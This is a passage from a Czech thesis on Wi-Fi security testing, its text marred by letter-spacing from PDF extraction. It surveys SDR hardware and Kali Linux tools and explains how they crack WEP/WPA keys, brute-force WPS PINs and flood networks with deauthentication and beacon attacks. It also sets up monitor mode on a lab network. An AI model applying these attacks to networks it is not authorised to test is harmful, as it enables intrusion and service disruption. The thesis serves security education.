rově. Tradiční rád ia řeší tyto komponenty hardwarově , j e d n á se např ík lad o směšo-

vače, filtry, zesilovače, m o d u l á t o r y a další. Výhodou tohoto p ř í s tupu je, že změnu 
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p a r a m e t r ů těchto komponent lze provést softwarovými změnami , což umožňuje velmi 

flexibilní používání rádia . 

S D R jsou také velmi modu lá rn í a pouhou změnou softwaru lze dosáhnou t ši­

roké škály nových funkcí, př ičemž není nutno měni t či upravovat hardware. I S D R 

však mají urč i té hardwarové omezení , např ík lad v p o d o b ě kmi toč tových rozsahů. 

Teoreticky by pak mělo pomocí softwaru dosáhnout záchytu a zpracování W i F i sig­

nálu. Mohlo by tak i potenciá lně dojít k nahrazen í W i F i adap té ru . Výhodou tohoto 

p ř í s tupu pak může být i možnos t zkoumání fyzické vrstvy bezdrá tové komunikace. 

Výběr pro tes tování W i F i by pak měl směřovat k podporovanému rozsahu kmi­

toč tů . Ne všechny modely podporu j í kmi toč ty kolem 5 G H z , což pak může být pro­

blemat ické u sítí, k teré tyto kmi toč ty využívají. Dále je t ř e b a dbá t na softwarovou 

podporu daného S D R . T a se u různých mode lů může lišit. 

Poslední větší překážkou může být poměrně vysoká náročnos t na P C hardware, 

kterou něk te rý software přináší . 

3 .1 .2 Zvolený h a r d w a r e 

V rámci t é to práce byl jako testovací poč í tač zvolen stolní poč í tač s operačn ím 

sys témem Windows 10 Professional. Jako W i - F i a d a p t é r byla zvolena karta T P -

Link T L - W N 7 2 2 N v2. Jako př í s tupový bod byl použi t T P - L i n k T L - W R 7 4 1 N D a 

jako klient byl použi t mobi lní telefon Xiaomi s operačn ím sys témem Andro id 9.0. 

Jelikož dostupnost zařízení podporuj íc ích W P A 3 je stále poměrně m a l á a podporuje 

jej pouze mobin í telefon, nebudou se na tento protokol experimenty zaměřovat . 

Zvolená karta T P - L i n k T L - W N 7 2 2 N v2 na t ivně nepodporuje moni torovací režim 

kvůli š p a t n é m u chipsetu [30]. Naš těs t í se tento problém podař i lo vyřešit nainstalo­

váním driverů do vybraného softwarového pros t řed í K a l i L inux (viz kapitola 3.2.2 

Zvolený operační sys tém) . 

Jako S D R bylo zvoleno L i m e S D R U S B , konkrétněj i se j e d n á o upravenou verzi 

od společnosti Antratek s hl iníkovým pouzdrem a an ténami . L i m e S D R je jedno z 

více uživateslky přívětivějších S D R , na druhou stranu m á omezený rozsah k m i t o č t ů 

mezi 100 kHz a 3,8 G H z . To znemožňuje možnost tes tování W i F i sítí využívajících 

p á s m a 5 G H z . 

3 .2 S o f t w a r e 

Software, využívaný při tes tování bezpečnos t i bezdrá tových sítí, je velice rozmani tý 

od operačních sys témů po malé utility. 
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3.2 .1 Operační systémy 

Bezdrátové sítě lze testovat za použi t í t éměř všech operačních sys témů včetně W i n ­

dows, ovšem nej ideálnějším řešením jsou Linuxové distribuce specializované na pe-

ne t račn í tes tování . Mez i nej populárnějš í pa t ř í K a l i Linux, BackBox, Parrot Security 

OS, Black A r c h a další [31]. Jejich výhodou je specializace a t aké to, že se j e d n á o 

volně dos tupné systémy. 

K a l i Linux je p r avděpodobně nej populárnějš ích z těchto specializovaných dis­

t r ibucí . V základu obsahuje obrovskou škálu utilit po t ř ebných k pene t r ačn ímu tes­

tování . Je t aké nejvíce propracovaný a m á velkou a akt ivní komunitu [31]. 

BackBox je další distribuce specializovaná na pene t račn í tes tování . J e d n á se o 

více minimalistickou distribuci zaměřenou na efektivitu a rychlost [32]. 

Parrot Security OS je zaměřen na pene t račn í tes tování a zároveň dobrou pod­

poru pro cloudové služby. Je to re la t ivně nová distribuce v t é to oblasti [31]. 

BlackArch je distribuce pos tavená na operačn ím sys tému A r c h Linux [33]. M á 

svůj v las tn í repozi tá ř testovacích nás t ro jů . 

Po výběru operačního sys tému je také volba, zda tento sys tém př ímo instalovat 

nebo použí t v i r tual izační software. Výhodou virtualizace je j ednoduché nakonfiguro­

vání a velká flexibilita, jak se sys témem nak láda t . Nevýhodou může být nižší stabilita 

a horší výkon. [34] 

3 .2 .2 Zvolený operační systém 

V rámci práce byly využi ty předevš ím dva operační systémy. Pro práci s W i F i kartou 

se j e d n á o K a l i L inux a pro práci s S D R BackBox. 

U K a l i L inux se konkré tně j e d n á o verzi K a l i Linux 2019.3 běžící na Kernelu 

5.2.0. Jako v i r tuá ln í pros t ředí slouží Oracle V M Vi r tua lBox 6.0. V rámci nas tavení 

v i r tuá ln ího počí tače je důležité nas tavení sítě a nas tavení př ipojených zařízení. Sí­

ťový a d a p t é r v i r tuá ln ího pros t ředí je v režimu N A T , což sys tému umožní překlad 

adres přes host i te lský P C a p ř í s tup k internetu. V nas tavení U S B zařízení je povolená 

W i - F i karta. 

Samotný K a l i Linux je často dis t r ibuován jako předins ta lovaný klon, a není tak 

t ř e b a jej instalovat. Jelikož je to sys tém specializovaný na pene t račn í tes tování , je 

od zák ladu př ipraven na tes tování a není t ř eba jej dlouze konfigurovat. Výjimkou je 

v tomto př ípadě nas tavení W i - F i karty. 

Adap t é r T P - L i n k T L - W N 7 2 2 N v2 na t ivně nepodporuje monitorovací režim. Starší 

verze tohoto modelu, označované jako T P - L i n k T L - W N 7 2 2 N v l měly správný chip-

set a tuto funkci podporovaly [30]. Novější p rodávané modely však mají , i přes t éměř 

stejný název, j iný chipset, a proto monitorovací režim nelze j ednoduše zprovoznit. 
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Naštěs t í je tento prob lém veřejně znám, a proto existují uživateli vytvořené dri­

very do K a l i Linux, k teré moni torovací režim odblokují [35]. Po jejich instalaci se již 

monitorovací m ó d dá zapnout. Nejdříve je p o t ř e b a zjistit informace o bezdrá tových 

rozhraních v systému. Toho jde dosáhnou t pomocí př íkazu 

iwconf i g 

Ten vypíše všechna bezdrá tová rozhraní . Jde tu i zjistit v j a k é m režimu se dané 

rozhraní nachází v položce „Mode". V zák ladn ím nas tavení je režim Auto . Pro na­

stavení moni torovacího režimu lze použí t př íkaz 

i w c o n f i g <wlan i n t e r f a c e > mode monitor 

Zda karta opravdu používá monitorovací režim, lze zjistit opě t pomocí př íkazu 

iwconfig. 

Dalš ím v h o d n ý m krokem je použí t př íkaz 

airmon-ng check k i l l 
kte rý zas taví všechny procesy, k teré by mohly ovlivňovat další práci . V tento moment 

už je testovací poč í tač př ipraven pro tes tování bezpečnost i pomocí W i F i adap té ru . 

P rob l ém nas tává v p ř ípadě S D R , a to z několika důvodů . Některý software a 

knihovny, k terých je nutno využí t , jsou mnohem jednodušej i zprovoznitelné na dis­

t r ibucích založených na Ubuntu. Dalš ím důvodem, proč je pro S D R využit j iný 

operační systém, je p rob lém virtualizace. Jelikož je něk te rý S D R software hard­

warově náročnější , není dobrý n á p a d jej používat ve v i r tuá ln ím pros t ředí , protože 

virtualizace m á poměrně velký negat ivní dopad na výkon. Lepší n á p a d je proto po­

užít na ins ta lovaný operační systém. Nabízí se proto využi t í na t ivních Windows na 

tes tovacím P C . Zde je zase prob lém nedostupnosti velké část i po t ř ebného softwaru, 

urči té omezené tes tování však lze provádět i ve Windows. 

Řešením je tak nains ta lování nějaké Linuxové distribuce do dual-boot spolu s 

Windows. Pro tes tování byl v y b r á n BackBox Linux, k te rý je založený na Ubuntu, 

což by mělo zjednoduši t část i instalace. Instalace OS byla provedena pomocí U S B , 

konkré tně se j e d n á o verzi BackBox 6. 

3 .2 .3 Testovací p r o g r a m y 

K a l i L inux m á v zák ladu nainstalovanou celou ř a d u programů, k teré lze využí t 

pro tes tování bezdrá tových sítí a více specificky k tes tování bezpečnos t i protokolů 

802.11. Dají se rozdělit do dvou kategori í - programy, k te ré p ř ímo provádí útoky, a 

programy, k te ré jsou n á s t a v b o u nad t ěmi to programy. Větš inou umožňuj í spouš tě t 

programy z p rvn í kategorie j ednodušš ím a více au toma t i zovaným způsobem. 

Mezi programy v p rvn í kategorii p a t ř í aircrack-ng, cowpatty, reaver, pixiewps a 

mdkS. 
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Mezi programy v d ruhé kategorii p a t ř í fern wift cracker a wifite. 

a i r c r a c k - n g 

Aircrack-ng je jeden z nejpoužívanějších p rogramů v oblasti zabezpečení bezdrá to ­

vých sítí. J e d n á se o balíček uti l i t , sloužící k tes tování bezpečnost i W i - F i sítí. Je to 

p r imárně konzolová aplikaci bez G U I (Graphical User Interface). 

aircrack-ng - p rvn í z uti l i t zaměřená na crackování klíčů používaných u W E P 

a W P A komunikace. P ř e d p o k l a d e m je již zachycená komunikace; aircrack-ng díky 

ní dokáže zjistit použ ívaná hesla. 

airmon-ng - tato ut i l i ta slouží předevš ím k ovládání užívaných bezdrá tových 

rozhraní a nas tavování režimů. 

airodump-ng - j edná se o ana lyzá tor pake tů (Packet Sniffer). Dokáže odhalit 

A P v okolí a ukáže uživateli důleži tá data jako jejich M A C adresy, SSID a používané 

kanály. Další funkcí pak je záchyt pake tů pro danou síť. Tyto pakety je možno 

uk láda t do souborů, se k te rými dále pracují další ut i l i ty v rámci aircracku. 

aireplay-ng - tato ut i l i ta slouží k injektování pake tů . Funguje v různých ú toč­

ných módech. Dokáže např ík lad injektovat zachycené A R P pakety, provádět falešnou 

autentizaci nebo testovat injektování. J e d n í m z ú toků , k te rý dokáže provádět , je tzv. 

deauten t izačn í ú tok. J e d n á se o DoS (Denial of Service) ú tok, k t e rý vyšle A P paket 

s žádost í o deautentizaci. Místo sebe však deautentizuje jakéhokoliv uživatele, k terý 

je k A P připojený. 

airdecap-ng - u t i l i ta sloužící k dešifrování zachycených pake tů za p ředpok ladu 

znalosti používaného klíče. 

airtun-ng - slouží k vytváření tune lů mezi zař ízením a cílem. 

packetforge-ng - slouží k vytváření vlas tních pake tů . B u d lze vybrat z nabíd­

nutých t y p ů ( A R P , U D P , I C M P ) , nebo vytvoř i t komple tně v las tn í paket. 

ivstools - slouží k získávání inicializačních vektorů ze zachycených pake tů . 

airbase-ng - víceúčelová ut i l i ta zaměřená na ú toky vůči k l ien tům namís to A P . 

Implementuje ú toky Caffe Latte a Hirte. 

airdecloack-ng - u t i l i ta sloužící k práci se zachycenými pakety. 

airolib-ng - uk ládá E S S I D a hesla, dále u m í vypočí táva t P M K 

airserv-ng - ut i l i ta , k t e rá umožňuje p ř í s tup k b e z d r á t o v ý m k a r t á m j iných po­

čí tačů 

buddy-ng a easside-ng - dvojice util i t , k teré umožňují komunikaci s A P , bez 

znalost í W E P klíče. Buddy-ng je pomocný server pro easside-ng. 

tkiptun-ng - ut i l i ta zaměřená na ú toky proti W P A / T K I P protokolu 

wesside-ng - j e d n á se o u t i l i tu k au tomat i ckému zjišťování W E P klíčů 

besside-ng - j e d n á se o u t i l i tu k au tomat i ckému zjišťování W P A klíčů 
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Celkově tak aircrack-ng nabízí široký arzenál testovacích nás t ro jů zaměřených 

na rodinu protokolů 802.11. J e d n á se tedy o jeden z nej základnějších p rogramů v 

rámci pene t račn ího testování . [36] 

c o w p a t t y 

Cowpatty je p o d p ů r n o u uti l i tou. Její hlavní funkcí je výpočet hashů a nás ledně 

hesel na základě zadaného slovníku a zachycené komunikace, určených pro ú toky 

vůči W P A / P S K pro tokolům. J e d n á se o soubor dvou util i t . 

P r v n í z nich je ut i l i ta genpmk. Ta plní funkci p ředběžného v ý p o č t u P M K . Jeho 

vstupem je slovník hesel a SSID daného A P . Pomocí těch to 2 informací vygeneruje 

genpmk soubor hashů, k te ré se rovnají po tenc iá ln ím P M K využívaných v t é t o síti 

za p ředpok ladu , že se heslo nachází ve slovníku. 

D r u h á uti l i ta , cowpatty, už slouží k s a m o t n é m u zjištění používaného hesla. 

Jeho vstupy jsou soubor hashů vygenerovaný genpmk a soubor zachycené č tyřces tné 

výměny. V t é t o výměně se vypočí tává finální klíč na základě P M K a dalších známých 

proměnných. Za p ředpokladu , že známe P M K a os t a tn í p roměnné , lze vypoč í t a t i 

M I C zprávy, k teré se b ě h e m výměny posílají. Pokud se v y p o č í t a n á M I C zpráva 

shoduje se zachycenou, z n a m e n á to, že jsme použili správné P M K , a tedy i správné 

heslo. 

P r v n í krok předběžného v ý p o č t u pomocí genpmk slouží ke zrychlení celého 

ú toku . S t ímto postupem lze zjistit použi té heslo řádově v sekundách. [20] [37] 

r e a v e r 

Reaver je ut i l i ta sloužící k ú t o k ů m na A P používající W P S , a to přesněji P I N útok. 

Jak bylo popsáno v kapitole W P S , j e d n á se o ú tok hrubou silou. Reaver se j ednoduše 

snaží u h á d n o u t používaný P I N tak, že pos tupně zkouší všechny možnost í . Rychlost 

tohoto ú toku sice není příliš velká, jeden P I N je vyzkoušen za přibližně 4 sekundy, 

ale vzhledem k ma lému množs tv í možných P INů , lze dosáhnou t výsledku do 12 

hodin. 

J ed iným argumentem, k te rý reaver pot řebuje , je B S S I D A P a samozřejmě i 

možné spojení k tomuto A P . S ut i l i tou reaver je dále úzce spojena ut i l i ta pixiewps. 

T u lze spustit p ř ímo s pomocí reaver, pokud při spouš těn í použi jeme argument „-K". 

Po úspěšném ú toku reaver také vypíše používané heslo, k te ré dostane od A P . 

[20] [38] 

p i x i e w p s 

Pixiewps je uti l i ta , k t e rá provádí ú tok Pixie Dust. Ten byl popsán v kapitole W P S . 

Pixiewps vyžaduje jako povinné argumenty veřejné klíče P K E a P K R , dále hashe 
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e-hashl a e-hash2, klíč authkey a číslo enrollee nonce. Jelikož získávání těch to úda jů 

př ímo ze zachycených pake tů není příliš efektivní, je mnohem jednodušš í spustit 

pixiewps skrze ut i l i tu reaver, k t e rá všechny tyto argumenty zjistí za uživatele. P i -

xiewps funguje pouze proti malé části rou te rů , k te ré obsahuje slabinu, ale pokud je 

ú tok úspěšný, dokáže zjistit použi té heslo b ě h e m pá r sekund. 

m d k 3 

Mdk3 je samozvaný „proof of concept" nás t ro j sloužící k u rč i t ému druhu ú toků na 

sítě 802.11. Specializuje se na DoS útoky. Mez i útoky, k te ré umožňuje , jsou: 

• Beacon F lood - ú tok , ve k t e r ém je okolí zaplaveno zprávami beacon. Uživate­

lům se tak začnou objevovat falešná A P . 

• Authentication DoS - ú točn ík začne posílat au ten t izační rámce všem A P v 

okolí. T í m je dokáže zahltit či dokonce vynutit restart. 

• Deauthentication A m o k - ú točn ík deautentizuje všechny uživatele komuniku­

jící s d a n ý m A P a t í m je odpojí . 

• Michael Shutdown Exploi tat ion - velmi specifický ú tok, k te rý zneužívá M I C 

zprávy v protokolu T K I P . Jak bylo vysvět leno v kapitole 1.3.4 Šifrování W P A -

/ W P A 2 , pokud v rámci j edné minuty A P při jme 2 zprávy, u k te rých kontrolní 

M I C neodpovídá , klienta na 1 minutu odpoj í . Mdk3 zachyt í nějaký paket mezi 

d a n ý m klientem a A P a pak ho dvakrá t přepošle A P se š p a t n ý m M I C . T í m 

by mělo dojít k odpojení klienta. 

• 802. l x DoS testy - ú tok , při k t e r ém je A P zaplaveno E A P O L pakety. Pracuje 

ve 2 módech, bud vysílá E A P O L Start nebo E A P O L Logoff pakety. 

Mdk3 také větš inou dává možnos t i tyto ú toky omezit jen na specifické M A C 

adresy což umožňuje lepší kontrolu nad testem. [39] 

f e r n w i f i 

Fern wifi a wifite slouží ke s te jnému účelu. J e d n á se o nás t avbu , k t e r á urč i tým 

způsobem zjednodušuje práci s předchozími ut i l i tami. 

Fern wifi je specifický t ím, že se j e d n á o jedinou ut i l i tu , k t e rá využívá G U I . Je tak 

velmi uživatelsky p ř í s t upná a j ednoduchá na použi t í . Po spuštění fern automaticky 

detekuje bezdrá tová rozhraní a po výběru je p řepne do moni torovacího režimu. 

Dále učiní sken okolních A P a roztř ídí je podle toho, zda používají W E P nebo 

W P A . Uživatel si vybere A P , na k te rý chce zaútoč i t a fern provede útok. Pro W P A 

je to slovníkový útok, proto dává fern uživateli možnos t výbě ru slovníku. Pokud je 

ú tok úspěšný, vypíše ut i l i ta používané heslo. 

Další funkcí je da t abáze klíčů. Fern si uchovává dříve zjištěné klíče pro dané 

BSSID. Uživatel tak m á přehled o již zjištěných klíčích, k teré lze později použí t . [40] 
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w i f i t e 

Wifite je velmi podobný ut i l i tě fern. Největším rozdílem je, že wifite je konzolová 

aplikace. Využívá předevš ím util i t aircrack-ng. Ihned po zapnu t í provede sken sítě 

pomocí airodump-ng a d á uživateli na výběr , k te rý A P chce napadnout. Zároveň 

vypíše informace o každém z nich - jeho SSID, zda používají W E P nebo W P A , zda 

m á A P povoleno W P S , na j a k é m kaná lu vysílá, kolik kl ientů je př ipojených. 

Uživatel si vybere cíl a zbytek už wifite udělá za něj . Začne s nej rychlejšími ú toky 

a pos tupně vyzkouší všechny možné útoky, dokud se něk te rý nepodař í . 

Wifite už iva te lům nabízí i další možnost i jako např ík lad výběr ut i l i ta na crac-

kování hesel. Kromě již zmíněného aircrack a cowpatty je to popu lá rn í John the 

Ripper a Hashcat. 

Podobně jako fern si uchovává již zjištěná hesla a další informace o jednot l ivých 

A P , a to v souboru cracked.txt. [41] 

Další testovací p r o g r a m y a s k r i p t y 

N a p o d o b n é m principu jako wifite a fern funguje mnoho dalších util i t , k te ré lze 

doinstalovat. Jako př ík lady lze uvést W i F i B r o o t [42], bettercap [43], airgeddon [44], 

WiF iHun te r [45] a mnoho dalších. Jelikož je používání těch to utilit velmi j ednoduché 

a p o d o b n é jako přechozí programy, není t ř e b a se j im i zabývat do hloubky. 

Pro tes tování zrani te lnost í K R A C K je nutno využí t p ř edem vytvořených skriptů, 

k teré poskytuj í p ř ímo výzkumníci , k teř í tuto zranitelnost objevili [46]. Skripty sice 

lze použí t s amos ta tně , ale pro po t ř eby tes tování v t é t o práci bude vy tvořena vlas tní 

uti l i ta, k t e r á používání usnadní . Skripty, a t í m p á d e m i ut i l i ta neslouží k s a m o t n é m u 

útočení , jelikož vektor ú toku u K R A C K u je poměrně slabý, ale dokážou rozeznat, 

zda je tes tované zařízení zrani te lné nebo ne. 

Zranitelnost KrOOk je poměrně nová ale i tak už existuje několik uti l i t , k teré 

j i dokážou zneužít . J e d n á se o např ík lad krOOker [47] nebo rOOkie-krOOkie [48]. Jde 

o poměrně př ímočaré utility, k te ré se pokusí o ú tok na zadané zařízení. KrOOker 

podporuje ú tok jak na klienta, tak i na A P , za t ímco rOOkie-krOOkie je zaměřen pouze 

na kl ientská zařízení. 

Některé ú toky fungují lépe pokud mezi t es tovaným klientem a A P dochází k 

větš ímu provozu než za normáln ích okolností . Pro po t ř eby tes tování tedy mohou 

být pomocné některé aplikace, k te ré tento provoz dokážou simulovat. N a Andro id je 

to např ík lad aplikace Packets Generá to r [49], ale lze j ich nalézt nezměrné množstv í . 

W i r e s h a r k 

Dalš ím už i tečným nás t ro jem je program Wireshark. J e d n á se o ana lyzá tor paketů , 

k te rý může při tes tování pomoct k zjišťování různých informací o paketech, o tom, 
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k jaké komunikaci dochází , či analyzovat používané protokoly. Wireshark je j edn ím 

z nej základnějších p rogramů pro zkoumání elektronické komunikace. 

S o f t w a r e p ro S D R 

Plné zprovoznění S D R pro účely tes tování po t řebuje poměrně extenzivní množs tv í 

softwaru. P ředevš ím se j e d n á o oficiální drivery, k teré umožní používání S D R . Na 

Windows je nains ta lování poměrně j ednoduché . Po zapojení do U S B (výrazně je 

doporučeno zde používat U S B 3.0) je možné nají t S D R ve Správci zařízení, kde už 

jde automaticky vyhledat a nainstalovat aktualizace. Pro Linux lze s t á h n o u t P P A 

balíček, k te rý obsahuje většinu driverů, prerekvizit a software LimeSuite [50]. 
Zde se ukazuje v ý h o d a dis t r ibucí založených na Ubuntu Linux, protože j iné distri­

buce P P A balíčky na t ivně nepodporu j í a je pak nutno tento software instalovat z Gi t 

zdroje, což je zbytečně složité. LimeSuite je balíček programů, k te ré umožňuj í p ř ímé 

nas tavování L imeSDR. Z těchto p rogramů jsou důležité L im eUt i l , LimeQuickTest a 

LimeSui teGUI. L i m e U t i l umožňuje mimo j iné p rokáza t , zda sys tém dokáže s S D R 

komunikovat, a to pomocí : 

L i m e U t i l - - f i n d 

Výs tup př íkazu lze vidět na výpisu 3.1. 

Výpis 3.1: Výpis př íkazu L i m e U t i l —find 

* [LimeSDR-USB, media=USB 3.0, module=FX3, addr=ld50:6108, seriál 
=0009072C00D6321F] 

LimeQuickTest je, jak název napovídá , rychlý testovací software, k t e rý zkontro­

luje, zda S D R funguje správně sérií tes tů . Toho je dosaženo př íkazem: 

LimeQui ckTest 

Jeden z t e s tů v p ř ípadě používaného S D R sice občas selže, ale celkově se dá 

p ředpok láda t , že S D R funguje a s t es továním lze pokračovat . Aplikace LimeSuite­

G U I pak nabízí deta i lní nas tavení všech a spek tů S D R . Podle postupu uvedeném na 

s t ránce L i m e S D R lze provést několik dalších t e s tů [51], ale v rámci práce je není 

nu tné p o d r o b n ě rozebírat , všechny dopadly podle očekávání. 

Po tomto zák ladn ím softwaru lze již př i s toupi t k využívání aplikací určených 

k běžnému užívání S D R . Nej j ednodušš ími př ík lady jsou programy, k teré slouží ke 

specifickým funkcím, jako je např ík lad ana lýza rádiového spektra. Těchto p rog ramů 

existuje obrovská řada , jeden z nich je SDRSharp. J e d n á se o aplikaci pro Windows, 

k t e rá umožňuje j ednoduché zkoumání spektra a au tomat ického převádění zachy­

ceného signálu na audio. D á se tak např ík lad využí t pro poslouchání F M rádia . 

Konkrétněj i je zde n u t n é s t áhnou t verzi obsahující pluginy pro L i m e S D R [52]. 
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Pokud existuje p o t ř e b a s S D R pracovat více do hloubky, existuje několik pro­

gramů, k te ré dokážou využí t flexibilnosť S D R k mnohem větší škále funkcí. Nejroz-

šířenější takovou platformou pro S D R je G N U R a d i o [53]. J e d n á se o toolkit, k te rý 

umožňuje už iva te lům vytváře t modely, pomocí k terých je S D R ovládáno a pomocí 

k terých je dále zpracováván signál. Využívá se zde bloků, k teré jsou spojovány do 

modelů . Toto umožňuje poměrně efektivní a uživatelsky přívětivé používání S D R . 

Vekou výhodou je pak modularita a možnost vytváře t v las tn í bloky a rozšiřovat tak 

funkcionalitu všech S D R . 

Instalaci G N U R a d i a pro Linux lze dosáhnou t několika způsoby, př ičemž nej-

schůdnější je využi t í balíčku P y B O M B S . Ten proces zjednodušuje a u t o m a t i c k ý m 

insta lováním prerekvizit, a předevš ím po nains ta lování umožňuje j ednoduché při­

dávání nových bloků a rozšiřujících balíčků [54]. Celý proces instalace balíčku a 

nás lednou instalaci G N U R a d i a lze nají t na Github s t ránce P y B O M B S [55]. 

A b y G N U R a d i o dokázalo používat L i m e S D R , je p o t ř e b a doinstalovat balíček 

gr-limesdr. Pro samotné zpracovávání W i F i signálu v rámci G N U R a d i a pak existuje 

balíček gr-ieee802-ll [56]. Tento balíček bloků byl vy tvořen jako součást projektu 

Wime (Wireless Measurement and Experimentation) [57]. J e d n á se o exper imentá ln í 

balíček bloků, k te ré dohromady dokážou zpracovat W i F i signály a teoreticky umožní 

záchyt provozu p o d o b n ě jako W i F i karta v moni torovacím režimu. 

Instalaci těch to bloků pak lze provést j ednoduše pomocí př íkazu: 

pybombs i n s t a l l g r - l i m e s d r 
pybombs i n s t a l l gr-ieee-80211 

Balíček také obsahuje již hotové modely, k teré lze použí t , v rámci tes tování pře­

devším model „wifi rx.grc". Velkou výhodou je možnos t propojení modelu s Wire-

sharkem. Model zachycené pakety uk ládá do F I F O souboru, k te rý pak lze otevř í t ve 

Wiresharku, a živě tak sledovat provoz. 

Balíček však m á několik nevýhod. Model podporuje jen některé protokoly I E E E 

802.11, konkré tně 802.11 a, g a p. Velkou překážkou pak je velká náročnos t na 

hardware počí tače . Mode l musí zpracovávat velké množs tv í př i ja tých dat, což vyža­

duje poměrně výkonné C P U . Jelikož se j e d n á o neoficiální a exper imentá ln í doplněk 

G N U R a d i a , jeho podpora je poměrně m a l á a není úplně j ednoduché řešit problémy, 

ke k t e r ý m může dojít . 

Je t aké se p o t ř e b a zamyslet nad t ím, jaké typy t e s tů lze s dos tupnými modely v 

balíčku provádět . Téměř všechny momen tá lně dos tupné testovací ut i l i ty jsou uzpů­

sobené k práci s W i F i adap t é r em, a i když je nejspíš technicky možné je zprovoznit 

tak, aby fungovaly s S D R , realitou je, že možnos t tes tování bude dosti omezená. 

Konkré tně si lze předs tav i t používání S D R k ú t o k ů m na autentizaci W P A 2 , kde 

stačí zachytit č tyřces tnou výměnu a po té použí t ut i l i tu , k t e rá zjistí používané heslo. 
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3 .3 Laboratorní prostředí 

Po výběru hardwaru a softwaru už zbývá pouze sestavit l abora torn í pros t ředí . To je 

poměrně j ednoduché . V rámci tes tování je t ř eba nasimulovat jednoduchou síť. Jelikož 

k nap ros t é většině t e s tů stačí pouze A P , klient a ú točník , lze si vystači t s t ěmi to 

t ř emi prvky. Jako A P poslouží vybraný router T P - L i n k T L - W R 7 4 1 N D , jako klient 

vyb raný mobilní telefon Xiaomi . Jako ú točn ík poslouží testovací poč í tač s Windows 

10, s v i r tual izovaným K a l i L inux a vybranou W i - F i kartou T P L i n k T L - W N 7 2 2 N 

v2. Pro testy s S D R je to pak poč í tač s BackBox Linux a v y b r a n ý m L i m e S D R . 

Obr. 3.1: Schéma laborarn ího pros t ředí 

Zapojení je j ednoduché , router není t ř e b a připojovat k W A N , takže jej stačí pouze 

zapnout; nas tavování je pak prováděno př ih lášením do správy bud skrze mobilní 

telefon nebo testovací počí tač . Testovací poč í tač je př ipojen k internetu, což ulehčuje 

tes tování v př ípadě , že je p o t ř e b a získat doda tečné informace či doinstalovat součást i 

K a l i Linux. Schéma tohoto zapojení je na obrázku 3.1. 
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4 Praktické testování bezpečnosti W i - F i 

V rámci tes tování byla provedena demonstrace testovacích util i t a skr ip tů v K a l i L i ­

nux popsaných v kapitole 3.2.3 Testovací programy, dále je vy tvořena vlas tn í ut i l i ta 

a jsou vyzkoušeny možnost i S D R . 

Než začne testování , je t ř e b a si ověřit zda je A P správně nastaveno, tedy zda 

používá správný protokol a zkontrolovat SSID sítě. V př ípadě vybraného A P se stačí 

připoji t do jeho nas tavení a zkontrolovat záložku Wireless Security. N a obrázku 4.1 

je vidět nab ídka bezpečnostn ích protokolů a jejich nas tavení . Pro účely práce je jako 

SSID zvoleno „TestNet". 

Wireless Security 

O Disable Security 

O WEP 
Type: | Shared Key H 

WEP Key F o m u t : | ASCI I H 
Key Selected W E P Key Key Type 

Key1 : @ | heslo 64fcit v | 

Key 2: | Disabled " | 

Key 3: | Disabled " | 

Key 4: | Disabled v | 

W P A / W P A 2 

Version: | Automatic H 
Encryption: | Automatic H 

Radius Server IP: I I 
Radius Port: | 1812 (1-65535. 0 stands for default port 1612) 

Radius Password: I 
Group Key Update Period: | (in second, minimum is 30, 0 means no update) 

W P A - P S K J W P A 2 - F S K 

Version: |WPA2-PSK H 
Encryption: |aes 

PSK Password: | abcdefgjh 

(You can enter ASCII characters between 8 and 63 or Hexadecimal characters between S ai 

Group Key Update Period: l« j (in second, minimum is 30, 0 means no update) 

64.) 

Obr. 4 .1: Nas tavení bezpečnost i A P 

Dále je p řed k a ž d ý m testem p o t ř e b a ověřit, zda je př ipojena W i - F i karta a zda 

se nachází v moni torovacím režimu. K tomu lze využít příkaz 

iwconf i g 

Ten vypíše všechna p ř í t o m n á bezdrá tová rozhran í (viz 4.2). 
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r o o t g o s b o x e s : ~ # i w c o n f i g 
l o no w i r e l e s s e x t e n s i o n s . 

w l a n O u n a s s o c i a t e d N i c k n a m e : " < W I F I @ R E A L T E K > " 
M o d e : M a n a g e d F r e q u e n c y = 2 . 4 6 2 GHz A c c e s s P o i n t : N o t - A s s o c i a t e d 
S e n s i t i v i t y : 0 / 0 
R e t r y : o f f RTS t h r : o f f F r a g m e n t t h r : o f f 
E n c r y p t i o n k e y : o f f 
P o w e r M a n a g e m e n t : o f f 
L i n k Q u a l i t y = 0 / 1 0 0 s i g n a l l e v e l = 0 dBm N o i s e l e v e l = 0 dBm 
Rx i n v a l i d n w i d : 0 R x i n v a l i d c r y p t : 0 R x i n v a l i d f r a g : 0 
T x e x c e s s i v e r e t r i e s : © I n v a l i d m i s c : 0 M i s s e d b e a c o m O 

e t h O no w i r e l e s s e x t e n s i o n s . 

Obr. 4.2: Výpis př íkazu iwconfig 

Dále je nutno použí t příkaz: 

airmon-ng check k i l l 

Ten ukončí procesy, k te ré by mohly překážet b ě h e m testování . Také umožní 

p řepnou t rozhraní wlanO do moni torovacího režimu. To lze provést např ík lad pomocí 

př íkazu 

i w c o n f i g wlanO mode monitor 

Následně lze opět zkontrolovat stav pomocí př íkazu 

iwconf i g 

r o o t @ o s b o x e s : ~ # i w c o n f i g 
w l a n O I E E E 8 0 2 . 1 1 b E S S I D : " " N i c k n a m e : " < W I F I @ R E A L T E K > " 

M o d e : M o n i t o r F r e q u e n c y : 2 . 4 1 2 GHz A c c e s s P o i n t : N o t - A s s o c i a t e d 
S e n s i t i v i t y : 0 / 0 
R e t r y : o f f RTS t h r : o f f F r a g m e n t t h r : o f f 
E n c r y p t i o n k e y : o f f 
P o w e r M a n a g e m e n t : o f f 
L i n k Q u a l i t y = 0 / 1 0 0 S i g n a l l e v e l = - 1 0 0 dBm N o i s e l e v e l = 0 dBm 
R x i n v a l i d n w i d : 0 Rx i n v a l i d c r y p t : 0 Rx i n v a l i d f r a g : 0 
T x e x c e s s i v e r e t r i e s : © I n v a l i d m i s c : 0 M i s s e d b e a c o n : 0 

l o n o w i r e l e s s e x t e n s i o n s . 

e t h O n o w i r e l e s s e x t e n s i o n s . 

Obr. 4.3: Výpis př íkazu iwconfig po zapnu t í moni torovacího režimu 

N a obrázku 4.3 již je vidět , že karta je v moni torovacím režimu (položka Mode). 

Nyní je vše př ipraveno k testování . 
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4.1 A i r c r a c k - n g 

Pomocí ut i l i ty aircrack-ng byly otes továny ú toky na síť používající protokol W E P , 

a to konkré tně ú tok na autentizaci Shared K e y (popsán v kapitole 2.1.1 Zranitel­

nost autentizace Shared Key) a ú tok na šifrování W E P pomocí ú t o k u využívající 

opakování I V (popsán v kapitole 2.1.2 Slabiny šifrování W E P ) . Dále ú toky na síť 

